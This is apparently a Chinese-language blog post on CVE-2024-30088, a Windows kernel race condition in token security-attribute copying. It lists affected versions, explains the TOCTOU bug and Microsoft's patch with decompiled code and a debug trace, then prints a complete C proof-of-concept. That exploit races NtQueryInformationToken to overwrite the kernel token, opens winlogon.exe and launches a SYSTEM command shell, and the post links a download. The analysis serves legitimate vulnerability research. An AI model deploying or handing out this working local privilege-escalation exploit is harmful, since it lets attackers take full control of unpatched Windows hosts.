目录导航
CVE-2024-30088漏洞简介
该漏洞存在于 NtQueryInformationToken 函数中,特别是在处理AuthzBasepCopyoutInternalSecurityAttributes 函数时,该漏洞源于内核在操作对象时对锁定机制的不当管理,这一失误可能导致恶意实体意外提升权限。
该漏洞由越南安全研究员 Bùi Quang Hiếu(在网络圈中以@tykawaii98著称)详细介绍,它允许攻击者利用内核中的 SecurityAttributesList 直接操纵用户提供的指针。这种危险行为会导致多个检查时间到使用时间 (TOCTOU) 漏洞,恶意线程可以在调用 RtlCopyUnicodeString 函数之前更改属性名称的缓冲区指针。此类操纵使攻击者能够使用受控的值和大小写入任意地址。
该发现最初归功于 Emma Kirkpatrick(@carrot_c4k3)与趋势科技零日计划合作,微软在其 2024 年 6 月的安全更新中解决了该问题。
影响范围
版本号 | 供应商 | 起始版本 | 结束版本 |
---|---|---|---|
Windows_10_1507 | 微软 | * | 10.0.10240.20680 (不包括) |
Windows_10_1607 | 微软 | * | 10.0.14393.7070 (不包括) |
Windows_10_1809 | 微软 | * | 10.0.17763.5936 (不包括) |
Windows_10_21h2 | 微软 | * | 10.0.19044.4529 (不包括) |
Windows_10_22h2 | 微软 | * | 10.0.19045.4529 (不包括) |
Windows_11_21h2 | 微软 | * | 10.0.22000.3019 (不包括) |
Windows_11_22h2 | 微软 | * | 10.0.22621.3737 (不包括) |
Windows_11_23h2 | 微软 | * | 10.0.22631.3737 (不包括) |
Windows_server_2016 | 微软 | * | 10.0.14393.7070 (不包括) |
Windows_server_2019 | 微软 | * | 10.0.17763.5936 (不包括) |
Windows_server_2022 | 微软 | * | 10.0.20348.2522 (不包括) |
Windows_server_2022_23h2 | 微软 | * | 10.0.25398.950 (不包括) |
成功利用此漏洞的攻击者可以获得哪些权限?
成功利用此漏洞的攻击者可以获得 SYSTEM 权限。
根据 CVSS 指标,攻击复杂度较高 (AC:H)。这对于此漏洞意味着什么?
CVSS:3.1 7.0 / 6.3
基本分数指标:7.0 / 时间分数指标:6.3
成功利用此漏洞需要攻击者赢得竞争条件。
漏洞详情
当内核将当前令牌对象的_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION复制到用户模式时,函数AuthzBasepCopyoutInternalSecurityAttributes中存在错误,其结构如下
//0x30 bytes (sizeof)
struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
{
ULONG SecurityAttributeCount; //0x0
struct _LIST_ENTRY SecurityAttributesList; //0x8
ULONG WorkingSecurityAttributeCount; //0x18
struct _LIST_ENTRY WorkingSecurityAttributesList; //0x20
};
- 在执行复制 SecurityAttributesList 时,内核直接将 SecurityAttribute 结构列表设置为用户提供的指针。之后,它调用RtlCopyUnicodeString和AuthzBasepCopyoutInternalSecurityAttributeValues函数复制出 SecurityAttribute 结构的名称和值,导致此函数中有多个 TOCTOU。
- 在调用RtlCopyUnicodeString之前,使用一个简单的竞争线程来修改属性名称的缓冲区指针[*],我可以轻松地实现一个具有固定值和大小控制的任意地址写入。

- 请注意,还有一些其他方法可以利用它,但就我而言,我选择使用RtlCopyUnicodeString。
触发漏洞:
- 通过使用TokenAccesInformation类调用NtQueryInformationToken可以轻松触发此错误。
补丁:
- 如果系统调用来自用户模式,则补丁程序使用内核堆栈上的局部变量(下面代码块中的v18)作为缓冲区来复制安全属性的名称,然后再写回用户缓冲区。
[...]
p_SecurityAttributesList = &a1->SecurityAttributesList;
Flink = a1->SecurityAttributesList.Flink;
if ( Flink == p_SecurityAttributesList )
return (unsigned int)inserted;
v13 = a2 + 0x98;
while ( 1 )
{
if ( (unsigned int)Feature_2516935995__private_IsEnabledDeviceUsage() )
{
inserted = AuthzBasepProbeAndInsertTailList(a2 + 8, v13 - 0x68);
if ( inserted < 0 )
goto LABEL_24;
}
else
{
[...]
}
++*(_DWORD *)a2;
*(_WORD *)(v13 - 56) = Flink[3].Flink;
*(_DWORD *)(v13 - 52) = HIDWORD(Flink[3].Flink);
*(_QWORD *)(v13 - 24) = v13 - 32;
*(_QWORD *)(v13 - 32) = v13 - 32;
*(_QWORD *)v13 = v13 - 8;
*(_QWORD *)(v13 - 8) = v13 - 8;
*(_QWORD *)(v13 - 48) = 0i64;
*(_DWORD *)(v13 - 40) = 0;
*(_DWORD *)(v13 - 16) = 0;
Flink_low = LOWORD(Flink[2].Flink);
v19 = Flink_low;
v17 = (wchar_t *)((v10 + 1) & 0xFFFFFFFFFFFFFFFEui64);
v15 = (unsigned __int64)v17 + Flink_low;
if ( (unsigned __int64)v17 + Flink_low > v6 )
break;
if ( (unsigned int)Feature_3391791421__private_IsEnabledDeviceUsage() )
{
*(_QWORD *)&v18.Length = 0i64;
v18.MaximumLength = Flink_low;
v18.Buffer = v17;
RtlCopyUnicodeString(&v18.Length, (unsigned __int16 *)&Flink[2]);
*(_UNICODE_STRING *)(v13 - 0x48) = v18;
}
else
{
[...]
}
inserted = AuthzBasepCopyoutInternalSecurityAttributeValues(
(__int64)Flink,
v13 - 104,
v15,
(int)v6 - (int)v15,
&v19);
[...]
在调试会话中,我们可以看到rcx是补丁后的内核地址:
5: kd>
nt!AuthzBasepCopyoutInternalSecurityAttributes+0x1aa:
fffff803`5dbcf14a e8810fa5ff call nt!RtlCopyUnicodeString (fffff803`5d6200d0)
5: kd> r
rax=0000025a81d006a0 rbx=0000025a81d00590 rcx=ffffe20697c4f778
rdx=ffffa609c7a101a0 rsi=0000025a81d00598 rdi=0000025a81d00628
rip=fffff8035dbcf14a rsp=ffffe20697c4f740 rbp=0000025a81d006c0
r8=0000000000000003 r9=0000025a81d00590 r10=ffffa609c816ef78
r11=ffffe20697c4f7d0 r12=0000000000000a70 r13=ffffa609ca9b1118
r14=ffffa609c7a10180 r15=0000025a81d01000
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040202
nt!AuthzBasepCopyoutInternalSecurityAttributes+0x1aa:
fffff803`5dbcf14a e8810fa5ff call nt!RtlCopyUnicodeString (fffff803`5d6200d0)
微软官方公告
https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-30088
CVE-2024-30088 POC
#include <Windows.h>
#include <stdio.h>
#include "ex.h"
///
// Helper stuff for kernel R/W using Nt(Read/Write)VirtualMemory
//
#pragma comment(lib, "ntdll.lib")
#define OFFSET_PID 0x440
#define OFFSET_PROCESS_LINKS 0x448
#define OFFSET_TOKEN 0x4b8
#define OFFSET_KPROCESS 0x220
typedef NTSTATUS(*pNtWriteVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG NumberOfBytesToWrite,
OUT PULONG NumberOfBytesWritten OPTIONAL
);
typedef NTSTATUS(*pNtReadVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
OUT PVOID Buffer,
IN ULONG NumberOfBytesToRead,
OUT PULONG NumberOfBytesReaded OPTIONAL)
;
typedef NTSTATUS NtQueryInformationToken(
HANDLE TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
PVOID TokenInformation,
ULONG TokenInformationLength,
PULONG ReturnLength
);
typedef struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
{
ULONG SecurityAttributeCount; //0x0
struct _LIST_ENTRY SecurityAttributesList; //0x4
ULONG WorkingSecurityAttributeCount; //0xc
struct _LIST_ENTRY WorkingSecurityAttributesList; //0x10
} AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION, *PAUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
//
// Global vars
//
NtQueryInformationToken* pQueryInfoToken = 0;
HANDLE hToken;
BYTE* TokenInfo = 0;
DWORD Infolen = 0x1000;
DWORD retlen = 0;
DWORD OffsetToName = 0;
BYTE* RaceAddr = 0;
ULONGLONG kTokenAddr = 0;
void RaceThread() {
ULONGLONG value = kTokenAddr + 0x40 - 4;
for (int i = 0; i < 0x10000; i++) {
*(WORD*)(RaceAddr + 2) = 2;
*(ULONGLONG*)(RaceAddr + 8) = value;
}
}
int main() {
HMODULE ntdll = GetModuleHandleA("ntdll");
pQueryInfoToken = (NtQueryInformationToken*)GetProcAddress(ntdll, "NtQueryInformationToken");
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
kTokenAddr = (ULONGLONG)GetKernelPointerByHandle(hToken);
printf("hToken: %x, kTokenAddr: %p\n", hToken, kTokenAddr);
getchar();
TokenInfo = (BYTE*)VirtualAlloc(0, Infolen, MEM_COMMIT, PAGE_READWRITE);
if (!TokenInfo)
return -1;
NTSTATUS status = pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);
if (status == 0) {
_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes = (_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION*)((_TOKEN_ACCESS_INFORMATION*)TokenInfo)->SecurityAttributes;
if (pSecurityAttributes->SecurityAttributeCount) {
BYTE* Flink = (BYTE*)pSecurityAttributes->SecurityAttributesList.Flink;
if (Flink) {
OffsetToName = Flink + 0x20 - TokenInfo;
printf("Found target offset value: 0x%x\n", OffsetToName);
}
}
}
if (!OffsetToName)
return -1;
RaceAddr = TokenInfo + OffsetToName;
printf("Target address = 0x%llx\n", RaceAddr);
//getchar();
HANDLE hWinLogon = INVALID_HANDLE_VALUE;
ULONG pid = GetPidByName(L"winlogon.exe");
while(1) {
HANDLE h = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)RaceThread, 0, 0, 0);
SetThreadPriority(h, THREAD_PRIORITY_TIME_CRITICAL);
//DebugBreak();
for (int i = 0; i < 5000; i++)
pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);
WaitForSingleObject(h, INFINITE);
hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if (hWinLogon)
break;
}
printf("Got Winlogon handle: 0x%x\n", hWinLogon);
getchar();
CreateProcessFromHandle(hWinLogon, (LPSTR)"C:\\Windows\\system32\\cmd.exe");
CloseHandle(hWinLogon);
CloseHandle(hToken);
return 0;
}
poc下载地址
GitHub:
https://github.com/tykawaii98/CVE-2024-30088/archive/refs/heads/main.zip
视频演示
截图
提权前

提权中…

提权后


注意事项
提权因为需要条件竞争,所以需要耐心等待一会.
转载请注明出处及链接